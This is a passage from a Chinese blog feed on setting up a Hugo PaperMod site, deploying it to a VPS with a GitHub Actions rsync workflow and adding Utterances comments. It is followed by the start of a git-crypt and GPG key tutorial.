</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">---
</span></span><span class="line"><span class="cl">title: &#34;搜索&#34; # in any language you want
</span></span><span class="line"><span class="cl">layout: &#34;search&#34; # is necessary
</span></span><span class="line"><span class="cl"># description: &#34;Description for Search&#34;
</span></span><span class="line"><span class="cl">summary: &#34;search&#34;
</span></span><span class="line"><span class="cl">placeholder: &#34;Search&#34;
</span></span><span class="line"><span class="cl">---
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>增加归档</p>
<p>在content文件夹中创建archive.md</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">---
</span></span><span class="line"><span class="cl">title: &#34;归档&#34;
</span></span><span class="line"><span class="cl">layout: &#34;archives&#34;
</span></span><span class="line"><span class="cl">url: &#34;/archives/&#34;
</span></span><span class="line"><span class="cl">summary: archives
</span></span><span class="line"><span class="cl">---
</span></span></code></pre></td></tr></table>
</div>
</div></li>
</ul>
</li>
<li>
<p>自动化部署设置</p>
<ul>
<li>
<p>构建</p>
<p>指定构建分支</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Deploy Hugo site to vps</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c"># Runs on pushes targeting the default branch</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">push</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">branches</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;main&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c"># Allows you to run this workflow manually from the Actions tab</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">workflow_dispatch</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># Default to bash</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">defaults</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">run</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">shell</span><span class="p">:</span><span class="w"> </span><span class="l">bash</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>增加构建配置</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">jobs</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">build</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">runs-on</span><span class="p">:</span><span class="w"> </span><span class="l">ubuntu-latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">steps</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Checkout</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">actions/checkout@v3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">with</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">submodules</span><span class="p">:</span><span class="w"> </span><span class="l">recursive</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Setup Hugo</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">peaceiris/actions-hugo@v2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Build</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">run</span><span class="p">:</span><span class="w"> </span><span class="l">hugo --minify</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>部署到vps</p>
<p>部署工具采用rsync，将编译生成的 public 直接同步到vps。</p>
<p>ssh 密钥、用户名、服务器ip、部署路径都通过配置GitHub 仓库的secrets来传递，示例分别对应 secrets.BLOG_DEPLOY_KEY secrets.RSYNC_USERNAME secrets.RSYNC_HOSTNAME secrets.BLOG_DEPLOY_PATH。</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="w">	  </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Setup ssh keys</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">webfactory/ssh-agent@v0.7.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">with</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">ssh-private-key</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">            ${{ secrets.BLOG_DEPLOY_KEY }}</span><span class="w">            
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Scan public keys</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">run</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">          ssh-keyscan ${{secrets.RSYNC_HOSTNAME}} &gt;&gt; ~/.ssh/known_hosts</span><span class="w">          
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Deploy to VPS</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">run</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">          rsync -av --delete public/* ${{secrets.RSYNC_USERNAME}}@${{secrets.RSYNC_HOSTNAME}}:${{ secrets.BLOG_DEPLOY_PATH }} --rsync-path=&#34;sudo rsync&#34; --owner --group --chown=www:www</span><span class="w">          
</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>坑</p>
<p>使用rsync部署的时候，刚开始采用配置 rsync daemon 的方式同步文件，尝试了很久，但一直身份验证失败，最终放弃。后面尝试使用ssh协议同步文件，验证ok，但也有两个问题需要解决：</p>
<p>普通用户登录服务器，对部署网站的目标路径没有文件写入权限，rsync 同步时增加 &ndash;rsync-path=&ldquo;sudo rsync&rdquo;  参数。</p>
<p>文件上传成功之后，所有者不是 www 用户的，解决办法是在 rsync 同步时增加参数 &ndash;owner &ndash;group &ndash;chown=www:www，指定用户和用户组为www。</p>
</li>
</ul>
<p>完整 github action 构建和部署脚本如下：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span><span class="lnt">33
</span><span class="lnt">34
</span><span class="lnt">35
</span><span class="lnt">36
</span><span class="lnt">37
</span><span class="lnt">38
</span><span class="lnt">39
</span><span class="lnt">40
</span><span class="lnt">41
</span><span class="lnt">42
</span><span class="lnt">43
</span><span class="lnt">44
</span><span class="lnt">45
</span><span class="lnt">46
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Deploy Hugo site to vps</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">on</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c"># Runs on pushes targeting the default branch</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">push</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">branches</span><span class="p">:</span><span class="w"> </span><span class="p">[</span><span class="s2">&#34;main&#34;</span><span class="p">]</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="c"># Allows you to run this workflow manually from the Actions tab</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">workflow_dispatch</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c"># Default to bash</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">defaults</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">run</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">shell</span><span class="p">:</span><span class="w"> </span><span class="l">bash</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="c">## A workflow run is made up of one or more jobs that can run sequentially or in parallel</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w"></span><span class="nt">jobs</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">build</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">runs-on</span><span class="p">:</span><span class="w"> </span><span class="l">ubuntu-latest</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">    </span><span class="nt">steps</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span><span class="c"># Checks-out your repository under $GITHUB_WORKSPACE, so your job can access it</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Checkout</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">actions/checkout@v3</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">with</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">submodules</span><span class="p">:</span><span class="w"> </span><span class="l">recursive</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Setup Hugo</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">peaceiris/actions-hugo@v2</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Build</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">run</span><span class="p">:</span><span class="w"> </span><span class="l">hugo --minify</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Setup ssh keys</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">uses</span><span class="p">:</span><span class="w"> </span><span class="l">webfactory/ssh-agent@v0.7.0</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">with</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">          </span><span class="nt">ssh-private-key</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">            ${{ secrets.BLOG_DEPLOY_KEY }}</span><span class="w">            
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Scan public keys</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">run</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">          ssh-keyscan ${{secrets.RSYNC_HOSTNAME}} &gt;&gt; ~/.ssh/known_hosts</span><span class="w">          
</span></span></span><span class="line"><span class="cl"><span class="w">      </span>- <span class="nt">name</span><span class="p">:</span><span class="w"> </span><span class="l">Deploy to VPS</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">        </span><span class="nt">run</span><span class="p">:</span><span class="w"> </span><span class="p">|</span><span class="sd">
</span></span></span><span class="line"><span class="cl"><span class="sd">          rsync -av --delete public/* ${{secrets.RSYNC_USERNAME}}@${{secrets.RSYNC_HOSTNAME}}:${{ secrets.BLOG_DEPLOY_PATH }} --rsync-path=&#34;sudo rsync&#34; --owner --group --chown=www:www</span><span class="w">          
</span></span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>迁移wordpress 文章</p>
<p>安装插件 <a href="https://wordpress.org/plugins/jekyll-exporter/">jekyll-exporter</a>, 可以导出所有文章、页面、以及上传的图片，导出的文章都是 markdown格式，复制到 hugo 的站点目录，稍微修改一下路径和标签就可以了，不太麻烦。</p>
</li>
<li>
<p>配置 Utterances 评论系统</p>
<p>点击 <a href="https://github.com/apps/utterances">https://github.com/apps/utterances</a> 安装 utterances，在安装的时候选择 Only select repositories，选择存储网站源文件的仓库，也可以选择新建其他仓库。</p>
<p>编辑 config.yml 文件，打开评论功能</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-yaml" data-lang="yaml"><span class="line"><span class="cl"><span class="nt">params</span><span class="p">:</span><span class="w">
</span></span></span><span class="line"><span class="cl"><span class="w">  </span><span class="nt">comments</span><span class="p">:</span><span class="w"> </span><span class="kc">true</span><span class="w">
</span></span></span></code></pre></td></tr></table>
</div>
</div><p>在网站根目录下创建layouts/partials/comments.html，添加以下内容：</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-html" data-lang="html"><span class="line"><span class="cl">{{- /* Comments area start */ -}}
</span></span><span class="line"><span class="cl">{{- /* to add comments read =&gt; https://gohugo.io/content-management/comments/ */ -}}
</span></span><span class="line"><span class="cl"><span class="p">&lt;</span><span class="nt">script</span> <span class="na">src</span><span class="o">=</span><span class="s">&#34;https://utteranc.es/client.js&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">repo</span><span class="o">=</span><span class="s">&#34;hacperme/hacperme_blog&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">issue-term</span><span class="o">=</span><span class="s">&#34;pathname&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">label</span><span class="o">=</span><span class="s">&#34;comment&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">theme</span><span class="o">=</span><span class="s">&#34;github-light&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">crossorigin</span><span class="o">=</span><span class="s">&#34;anonymous&#34;</span>
</span></span><span class="line"><span class="cl">        <span class="na">async</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl"><span class="p">&lt;/</span><span class="nt">script</span><span class="p">&gt;</span>
</span></span><span class="line"><span class="cl">{{- /* Comments area end */ -}}
</span></span></code></pre></td></tr></table>
</div>
</div></li>
</ol>
<h2 id="参考文档">参考文档</h2>
<ul>
<li><a href="https://reid00.github.io/posts/utterances-%E7%BB%99-hugo-papermod-%E4%B8%BB%E9%A2%98%E6%B7%BB%E5%8A%A0%E8%AF%84%E8%AE%BA%E7%B3%BB%E7%BB%9F/">Utterances 给 Hugo PaperMod 主题添加评论系统</a></li>
<li><a href="https://gohugo.io/documentation/">Hugo Documentation</a></li>
<li><a href="https://github.com/adityatelange/hugo-PaperMod/wiki">PaperMod&rsquo;s wiki</a></li>
<li><a href="https://shaohanyun.top/posts/env/blog_build2/">PaperMod主题配置</a></li>
<li><a href="https://freepencil.com/2021/10/hugo-papermod%E8%B8%A9%E5%9D%91%E5%8E%86%E7%A8%8B/">Hugo的PaperMod主题踩坑历程</a></li>
<li><a href="https://www.andbible.com/post/hugo-theme-review-loveit-papermond-others/">有哪些好看的Hugo主题？Hugo框架主题选那个? Github的star数量告诉您</a></li>
<li><a href="https://chenhe.me/post/use-ghactions-deploy-hugo-to-vps/">利用GHActions部署hugo博客到自己VPS</a></li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>git-crypt 使用方法</title>
      <link>https://hacperme.com/posts/notes/git-crypt/</link>
      <pubDate>Thu, 05 Jan 2023 07:42:17 +0800</pubDate>
      <guid>https://hacperme.com/posts/notes/git-crypt/</guid>
      <description>使用git-crypt，可以对git仓库中的敏感文件进行加密，下面介绍使用方法。 安装 Windows 环境下，在官网 https://github.com/AGWA/git-crypt/releases 下载最新版本软件，然后将其所在路径添加</description>
      <content:encoded><![CDATA[<p>使用git-crypt，可以对git仓库中的敏感文件进行加密，下面介绍使用方法。</p>
<h2 id="安装">安装</h2>
<p>Windows 环境下，在官网 <a href="https://github.com/AGWA/git-crypt/releases">https://github.com/AGWA/git-crypt/releases</a> 下载最新版本软件，然后将其所在路径添加到系统环境变量PATH</p>
<p><img loading="lazy" src="https://github.com/hacperme/picx_hosting/raw/master/20210507/image-20230103232738007.32llslzam8c0.png" alt=""  />
</p>
<p>打开git bash，输入 git crypt &ndash;version 验证安装情况:</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">$ git crypt --version
</span></span><span class="line"><span class="cl">git-crypt 0.7.0
</span></span></code></pre></td></tr></table>
</div>
</div><h2 id="使用方法">使用方法</h2>
<ol>
<li>
<p>创建一个新文件目录，初始化git 仓库</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace
</span></span><span class="line"><span class="cl">$ mkdir git_crypt_test
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace
</span></span><span class="line"><span class="cl">$ <span class="nb">cd</span> git_crypt_test
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test
</span></span><span class="line"><span class="cl">$ git init
</span></span><span class="line"><span class="cl">Initialized empty Git repository in D:/workspace/git_crypt_test/.git/
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$
</span></span></code></pre></td></tr></table>
</div>
</div></li>
<li>
<p>生成 gpg 密钥（可选步骤）</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
</span><span class="lnt">11
</span><span class="lnt">12
</span><span class="lnt">13
</span><span class="lnt">14
</span><span class="lnt">15
</span><span class="lnt">16
</span><span class="lnt">17
</span><span class="lnt">18
</span><span class="lnt">19
</span><span class="lnt">20
</span><span class="lnt">21
</span><span class="lnt">22
</span><span class="lnt">23
</span><span class="lnt">24
</span><span class="lnt">25
</span><span class="lnt">26
</span><span class="lnt">27
</span><span class="lnt">28
</span><span class="lnt">29
</span><span class="lnt">30
</span><span class="lnt">31
</span><span class="lnt">32
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --full-generate-key
</span></span><span class="line"><span class="cl">gpg <span class="o">(</span>GnuPG<span class="o">)</span> 2.2.29-unknown<span class="p">;</span> Copyright <span class="o">(</span>C<span class="o">)</span> <span class="m">2021</span> Free Software Foundation, Inc.
</span></span><span class="line"><span class="cl">This is free software: you are free to change and redistribute it.
</span></span><span class="line"><span class="cl">There is NO WARRANTY, to the extent permitted by law.
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">Please <span class="k">select</span> what kind of key you want:
</span></span><span class="line"><span class="cl">   <span class="o">(</span>1<span class="o">)</span> RSA and RSA <span class="o">(</span>default<span class="o">)</span>
</span></span><span class="line"><span class="cl">   <span class="o">(</span>2<span class="o">)</span> DSA and Elgamal
</span></span><span class="line"><span class="cl">   <span class="o">(</span>3<span class="o">)</span> DSA <span class="o">(</span>sign only<span class="o">)</span>
</span></span><span class="line"><span class="cl">   <span class="o">(</span>4<span class="o">)</span> RSA <span class="o">(</span>sign only<span class="o">)</span>
</span></span><span class="line"><span class="cl">  <span class="o">(</span>14<span class="o">)</span> Existing key from card
</span></span><span class="line"><span class="cl">Your selection? <span class="m">1</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">...
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --list-keys
</span></span><span class="line"><span class="cl">gpg: checking the trustdb
</span></span><span class="line"><span class="cl">gpg: marginals needed: <span class="m">3</span>  completes needed: <span class="m">1</span>  trust model: pgp
</span></span><span class="line"><span class="cl">gpg: depth: <span class="m">0</span>  valid:   <span class="m">1</span>  signed:   <span class="m">0</span>  trust: 0-, 0q, 0n, 0m, 0f, 1u
</span></span><span class="line"><span class="cl">/c/Users/hacper/.gnupg/pubring.kbx
</span></span><span class="line"><span class="cl">----------------------------------
</span></span><span class="line"><span class="cl">pub   dsa1024 2009-04-16 <span class="o">[</span>SC<span class="o">]</span>
</span></span><span class="line"><span class="cl">      4340D13570EF945E83810964E8AD3F819AB10E78
</span></span><span class="line"><span class="cl">uid           <span class="o">[</span> unknown<span class="o">]</span> The Android Open Source Project &lt;initial-contribution@android.com&gt;
</span></span><span class="line"><span class="cl">sub   elg2048 2009-04-16 <span class="o">[</span>E<span class="o">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">pub   rsa3072 2023-01-03 <span class="o">[</span>SC<span class="o">]</span>
</span></span><span class="line"><span class="cl">      D8B7C1CF1522498D3B6585608F5E3E2BC9BE60E8
</span></span><span class="line"><span class="cl">uid           <span class="o">[</span>ultimate<span class="o">]</span> hacper &lt;git@hacperme.com&gt;
</span></span><span class="line"><span class="cl">sub   rsa3072 2023-01-03 <span class="o">[</span>E<span class="o">]</span>
</span></span></code></pre></td></tr></table>
</div>
</div><p>导出gpg密钥</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt">1
</span><span class="lnt">2
</span><span class="lnt">3
</span><span class="lnt">4
</span><span class="lnt">5
</span><span class="lnt">6
</span><span class="lnt">7
</span><span class="lnt">8
</span><span class="lnt">9
</span></code></pre></td>
<td class="lntd">
<pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --armor --output hacper_gpg.pub --export hacper
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ ls
</span></span><span class="line"><span class="cl">hacper_gpg.pub  readme.md
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">hacper@LAPTOP-0RHP1TGD MINGW64 /d/workspace/git_crypt_test <span class="o">(</span>master<span class="o">)</span>
</span></span><span class="line"><span class="cl">$ gpg --armor --output hacper_gpg.key --export-secret-keys hacper
</span></span></code></pre></td></tr></table>
</div>
</div><p>删除密钥</p>
<div class="highlight"><div class="chroma">
<table class="lntable"><tr><td class="lntd">
<pre tabindex="0" class="chroma"><code><span class="lnt"> 1
</span><span class="lnt"> 2
</span><span class="lnt"> 3
</span><span class="lnt"> 4
</span><span class="lnt"> 5
</span><span class="lnt"> 6
</span><span class="lnt"> 7
</span><span class="lnt"> 8
</span><span class="lnt"> 9
</span><span class="lnt">10
